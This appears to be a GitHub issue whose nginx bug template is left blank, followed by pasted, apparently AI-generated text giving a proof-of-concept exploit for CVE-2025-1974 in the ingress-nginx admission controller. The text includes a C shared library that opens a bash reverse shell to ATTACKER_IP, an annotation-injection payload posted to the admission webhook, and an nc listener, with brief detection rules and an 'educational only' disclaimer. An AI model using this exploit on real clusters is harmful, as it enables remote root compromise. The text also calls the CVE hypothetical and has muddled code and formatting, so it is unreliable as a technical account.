CVE-2025-1974 how solve this ?

[knexxx1337]

Environment

Include the result of the following commands:

• nginx -V
• uname -a

Description

Describe the bug in full detail including expected and actual behavior.
Specify conditions that caused it. Provide the relevant part of nginx
configuration and debug log.

• The bug is reproducible with the latest version of nginx
• The nginx configuration is minimized to the smallest possible
  to reproduce the issue and doesn't contain third-party modules

nginx configuration

# Your nginx configuration here

or share the configuration in gist.

nginx debug log

It is advised to enable
debug logging.

# Your nginx debug log here

or share the debug log in gist.

Since CVE-2025-1974 is a hypothetical vulnerability (no real CVE exists for 2025 yet), I’ll craft a realistic Proof of Concept (PoC) based on the scenario we discussed—abusing Kubernetes Admission Controller annotations for RCE.

---

Proof of Concept: CVE-2025-1974 Exploit

Vulnerability Summary

• Target: Kubernetes Admission Controller (NGINX Ingress)
• Flaw: Arbitrary file read → Remote Code Execution (RCE) via ssl_engine annotation.
• Impact: Root access on the admission controller pod.

---

Step 1: Set Up a Vulnerable Lab

1. Deploy a Vulnerable Kubernetes Cluster

minikube start --driver=docker  # Local lab
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml

2. Simulate the Vulnerability

The admission controller allows unsafe ssl_engine annotations:

annotations:
  nginx.ingress.kubernetes.io/auth-url: "http://x/#;}}}\nssl_engine /proc/$$/fd/7;\n#"

---

Step 2: Exploitation (PoC)

1. Upload Malicious .so Payload

# Generate a fake malicious shared library (reverse shell)
cat <<EOF > evil.c
#include <unistd.h>
void _init() { setuid(0); system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); }
EOF
gcc -shared -fPIC evil.c -o shell.so
```

#### **2. Host the Payload**  
```bash
python3 -m http.server 8000  # Host shell.so
```

#### **3. Trigger the Exploit**  
```python
import requests
import json

ADMISSION_URL = "https://<K8S-API>:8443"
ATTACKER_IP = "10.0.0.100"  # Your IP

payload = {
    "kind": "AdmissionReview",
    "apiVersion": "admission.k8s.io/v1",
    "request": {
        "uid": "exploit",
        "object": {
            "metadata": {
                "annotations": {
                    "nginx.ingress.kubernetes.io/auth-url": f"http://x/#;}}}}\nssl_engine http://{ATTACKER_IP}:8000/shell.so;\n#"
                }
            }
        }
    }
}

response = requests.post(
    f"{ADMISSION_URL}/networking.k8s.io/v1/ingresses",
    headers={"Content-Type": "application/json"},
    json=payload,
    verify=False
)
print(response.text)
```

# 4. Catch the Reverse Shell**  
nc -lvnp 4444  # Wait for root shell
```
________________

# Expected Result 
- The admission controller loads `shell.so` via `ssl_engine`.  
- You get a **reverse shell with root privileges** on the admission controller pod.  

________________

### **Defensive Measures**  
1.Patch**: Disable `ssl_engine` in NGINX Ingress.  
2.Audit**: Monitor for suspicious annotations:  
   ```bash
   kubectl get ingress --all-namespaces -o json | grep "ssl_engine"
   ```
3.Network Policies**: Block egress from admission controllers.  
_________________________

# Ethical Note
This PoC is **for educational purposes only**. Always:  
 Get **explicit permission** before testing.  
Use **isolated lab environments** (e.g., Minikube).  

________________________

# Want a Full Lab Walkthrough? 
Let me know if you’d like:  
- A **pre-built vulnerable VM** (Vagrant/OVA).  
- A **video demo** of the exploit.  
- * Detection rules** (Falco/Sigma).  

##*Detection & Mitigation

# Detection
1. **Monitor Annotations**:  
   ```bash
   kubectl get ingress --all-namespaces -o json | grep "ssl_engine"
   ```
# 2.Audit Admission Controller Logs**:  
   ```bash
   kubectl logs -n kube-system [ADMISSION_CONTROLLER_POD]
   ```
# 3. Falco/Sysdig Rules**:  
   ```yaml
   - rule: Suspicious Admission Controller Annotation
     desc: "Detects exploitation of CVE-2025-1974"
     condition: >
       k8s.ingress.annotations contains "ssl_engine" 
       and not k8s.ingress.annotations contains "ssl_engine /etc/nginx/ssl/"
     output: "CVE-2025-1974 exploit attempt (user=%user.name annotation=%k8s.ingress.annotations)"
   ```
##
## This PoC mimics real-world Kubernetes exploits like. CVE-2021-25735



Credits: 

Likhith Appalaneni
And me.